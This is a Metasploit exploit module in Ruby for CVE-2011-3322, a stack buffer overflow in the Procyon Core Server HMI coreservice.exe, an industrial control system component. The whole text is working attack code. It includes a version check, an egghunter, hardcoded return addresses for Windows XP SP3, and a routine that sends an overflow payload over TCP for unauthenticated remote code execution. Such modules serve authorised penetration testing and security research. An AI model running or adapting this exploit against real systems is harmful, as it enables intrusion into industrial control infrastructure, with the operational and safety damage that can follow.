Procyon Core Server HMI 1.13 Buffer Overflow

`##  
# $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Egghunter  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability in the coreservice.exe component of Proycon  
Core Server <= v1.13. While processing a password, the application  
fails to do proper bounds checking before copying data into a small buffer on the stack.  
This causes a buffer overflow and allows to overwrite a structured exception handling  
record on the stack, allowing for unauthenticated remote code execution. Also, after the  
payload exits, Coreservice.exe should automatically recover.  
},  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13724 $',  
'Author' =>  
[  
'Knud Højgaard <keh[at]nsense.dk>', # Initial discovery  
'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf  
],  
'References' =>  
[  
['CVE', 'CVE-2011-3322'],  
['OSVDB', '75371'],  
['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],  
['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
  
[  
'Windows XP SP3 - No dep bypass',  
{  
'Ret' => 0x774699bf, # JMP ESP [user32.dll]  
'Edx' => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]  
'Eax' => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]  
'Offset' => 8  
}  
],  
],  
'Privileged' => true,  
'DisclosureDate' => "Sep 08 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(23)  
], self.class)  
end  
  
def check  
connect  
res = sock.get_once.chomp #This gives us string "----------------------------"  
res = sock.get_once.chomp #This gives us the actual software version  
disconnect  
  
if res =~ /Core Command Interface V1\.(.*)2/  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
eggoptions =  
{  
:checksum => false,  
:eggtag => 'ssec',  
}  
  
badchars = "\x00\x0a\x0d"  
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)  
  
sploit = rand_text_alpha_upper(45)  
sploit << [target['Edx']].pack('V')  
sploit << [0x41414141].pack('V')  
sploit << [target['Eax']].pack('V')  
sploit << rand_text_alpha_upper(target['Offset'])  
sploit << [target.ret].pack('V')  
sploit << make_nops(10)  
sploit << hunter  
sploit << rand_text_alpha_upper(500)  
sploit << egg  
sploit << "\r\n"  
  
connect  
sock.get_once()  
print_status("Sending request...")  
sock.put(sploit)  
handler()  
disconnect  
  
end  
  
end  
`